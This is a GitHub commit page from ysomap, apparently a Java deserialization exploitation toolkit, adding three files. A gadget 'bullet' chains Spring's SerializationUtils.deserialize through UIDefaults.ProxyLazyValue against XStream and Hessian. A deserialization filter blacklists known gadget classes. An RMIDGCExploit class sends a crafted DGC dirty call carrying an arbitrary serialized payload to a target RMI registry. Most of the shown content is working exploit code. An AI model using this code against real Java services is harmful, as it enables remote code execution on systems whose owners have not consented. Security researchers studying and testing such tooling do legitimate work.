-
Notifications
You must be signed in to change notification settings - Fork 150
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
8 changed files
with
271 additions
and
21 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
36 changes: 36 additions & 0 deletions
36
core/src/main/java/ysomap/bullets/jdk/ProxyLazyValueWithDSBullet.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,36 @@ | ||
package ysomap.bullets.jdk; | ||
|
||
import ysomap.bullets.Bullet; | ||
import ysomap.common.annotation.*; | ||
|
||
import javax.swing.*; | ||
|
||
/** | ||
* @author wh1t3P1g | ||
* @since 2021/1/4 | ||
*/ | ||
@Bullets | ||
@Dependencies({"jdk"}) | ||
@Details("依赖spring框架触发二次反序列化") | ||
@Targets({Targets.XSTREAM, Targets.HESSIAN}) | ||
@Authors({Authors.WH1T3P1G}) | ||
public class ProxyLazyValueWithDSBullet implements Bullet<UIDefaults.ProxyLazyValue> { | ||
|
||
@NotNull | ||
@Require(name = "serialized", detail = "序列化后的byte数组,非console配置,请勿用") | ||
public byte[] serialized; | ||
|
||
@Override | ||
public UIDefaults.ProxyLazyValue getObject() throws Exception { | ||
String classname = "org.springframework.util.SerializationUtils"; | ||
String methodName = "deserialize"; | ||
Object[] evilargs = new Object[]{serialized}; | ||
return new UIDefaults.ProxyLazyValue(classname, methodName, evilargs); | ||
} | ||
|
||
public static Bullet newInstance(Object... args) throws Exception { | ||
Bullet bullet = new ProxyLazyValueWithDSBullet(); | ||
bullet.set("serialized", args[0]); | ||
return bullet; | ||
} | ||
} |
86 changes: 86 additions & 0 deletions
86
core/src/main/java/ysomap/core/ObjectInputFilterManager.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,86 @@ | ||
package ysomap.core; | ||
|
||
import sun.misc.ObjectInputFilter; | ||
import ysomap.core.util.ReflectionHelper; | ||
|
||
import java.util.Arrays; | ||
|
||
/** | ||
* @author wh1t3p1g | ||
* @since 2021/11/23 | ||
*/ | ||
public class ObjectInputFilterManager { | ||
|
||
private static ObjectInputFilter filter = new ObjectWhitelistFilter(); | ||
|
||
public static void setup(){ | ||
try{ | ||
ObjectInputFilter.Config.setSerialFilter(filter); | ||
} catch (IllegalStateException e){ | ||
try { | ||
ReflectionHelper.setStaticFieldValue(ObjectInputFilter.Config.class, "serialFilter", filter); | ||
} catch (Exception ex) { | ||
ex.printStackTrace(); | ||
} | ||
} | ||
} | ||
|
||
public static void suspend() throws Exception { | ||
ReflectionHelper.setStaticFieldValue(ObjectInputFilter.Config.class, "serialFilter", null); | ||
} | ||
|
||
public static class ObjectWhitelistFilter implements ObjectInputFilter{ | ||
|
||
private static final String[] whitelist = new String[]{ | ||
"java.", | ||
"com.sun.", | ||
"com.oracle.", | ||
"javax." | ||
}; | ||
|
||
private static final String[] blacklist = new String[]{ | ||
"com.sun.jndi.ldap.LdapAttribute", | ||
"com.sun.jndi.rmi.registry.BindingEnumeration", | ||
"com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl", | ||
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", | ||
"com.sun.rowset.JdbcRowSetImpl", | ||
"com.sun.syndication.feed.impl.ObjectBean", | ||
"com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data", | ||
"java.net.URL", | ||
"java.rmi.registry.Registry", | ||
"java.rmi.server.ObjID", | ||
"java.rmi.server.RemoteObjectInvocationHandler", | ||
"java.rmi.server.UnicastRemoteObject", | ||
"java.util.ServiceLoader$LazyIterator", | ||
"javax.imageio.ImageIO$ContainsFilter", | ||
"javax.management.BadAttributeValueExpException", | ||
"javax.management.MBeanServerInvocationHandler", | ||
"javax.management.openmbean.CompositeDataInvocationHandler", | ||
"javax.naming.spi.ObjectFactory", | ||
}; | ||
|
||
@Override | ||
public Status checkInput(FilterInfo filterInfo) { | ||
Class<?> clazz = getSerialClass(filterInfo); | ||
if(clazz != null){ | ||
if(clazz.isPrimitive() || | ||
(Arrays.stream(whitelist).anyMatch(pre -> clazz.getName().startsWith(pre)) | ||
&& Arrays.stream(blacklist).noneMatch(cl -> cl.equals(clazz.getName())))){ | ||
return Status.ALLOWED; | ||
} | ||
return Status.REJECTED; | ||
} | ||
return Status.UNDECIDED; | ||
} | ||
|
||
public Class<?> getSerialClass(FilterInfo filterInfo){ | ||
Class<?> clazz = filterInfo.serialClass(); | ||
if(clazz.isArray()){ | ||
do { | ||
clazz = clazz.getComponentType(); | ||
} while (clazz.isArray()); | ||
} | ||
return clazz; | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,98 @@ | ||
package ysomap.exploits.rmi; | ||
|
||
import sun.rmi.transport.TransportConstants; | ||
import ysomap.common.annotation.*; | ||
import ysomap.common.util.Status; | ||
import ysomap.exploits.AbstractExploit; | ||
import ysomap.exploits.rmi.component.MarshalOutputStream; | ||
|
||
import javax.net.SocketFactory; | ||
import java.io.DataOutputStream; | ||
import java.io.IOException; | ||
import java.io.ObjectOutputStream; | ||
import java.io.OutputStream; | ||
import java.net.InetSocketAddress; | ||
import java.net.Socket; | ||
import java.net.SocketException; | ||
import java.net.UnknownHostException; | ||
|
||
/** | ||
* @author wh1t3p1g | ||
* @since 2021/11/23 | ||
*/ | ||
@Exploits | ||
@Authors({Authors.MBECHLER}) | ||
@Require(bullets = {"all gadgets"}, param = false) | ||
@Details("RMI底层JRMP的dgc实现存在反序列化漏洞。\n" + | ||
"当前利用需要设置一个payload") | ||
public class RMIDGCExploit extends AbstractExploit { | ||
|
||
@NotNull | ||
@Require(name = "target", detail = "target RMI Registry host:port, like localhost:1099") | ||
public String target; | ||
|
||
@NotNull | ||
public Object payload; | ||
|
||
public String payloadName; | ||
|
||
@Override | ||
public void work() { | ||
String[] detail = target.split(":"); | ||
if(detail.length == 2){ | ||
try { | ||
makeDGCCall(detail[0], Integer.parseInt(detail[1]), payload); | ||
} catch (IOException e) { | ||
e.printStackTrace(); | ||
} | ||
} | ||
} | ||
|
||
@Override | ||
public void stop() { | ||
status = Status.STOPPED; | ||
} | ||
|
||
public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException { | ||
InetSocketAddress isa = new InetSocketAddress(hostname, port); | ||
Socket s = null; | ||
DataOutputStream dos = null; | ||
try { | ||
s = SocketFactory.getDefault().createSocket(hostname, port); | ||
s.setKeepAlive(true); | ||
s.setTcpNoDelay(true); | ||
|
||
OutputStream os = s.getOutputStream(); | ||
dos = new DataOutputStream(os); | ||
|
||
dos.writeInt(TransportConstants.Magic); | ||
dos.writeShort(TransportConstants.Version); | ||
dos.writeByte(TransportConstants.SingleOpProtocol); | ||
|
||
dos.write(TransportConstants.Call); | ||
|
||
@SuppressWarnings ( "resource" ) | ||
final ObjectOutputStream objOut = new MarshalOutputStream(dos); | ||
|
||
objOut.writeLong(2); // DGC | ||
objOut.writeInt(0); | ||
objOut.writeLong(0); | ||
objOut.writeShort(0); | ||
|
||
objOut.writeInt(1); // dirty | ||
objOut.writeLong(-669196253586618813L); | ||
|
||
objOut.writeObject(payloadObject); | ||
|
||
os.flush(); | ||
} | ||
finally { | ||
if ( dos != null ) { | ||
dos.close(); | ||
} | ||
if ( s != null ) { | ||
s.close(); | ||
} | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters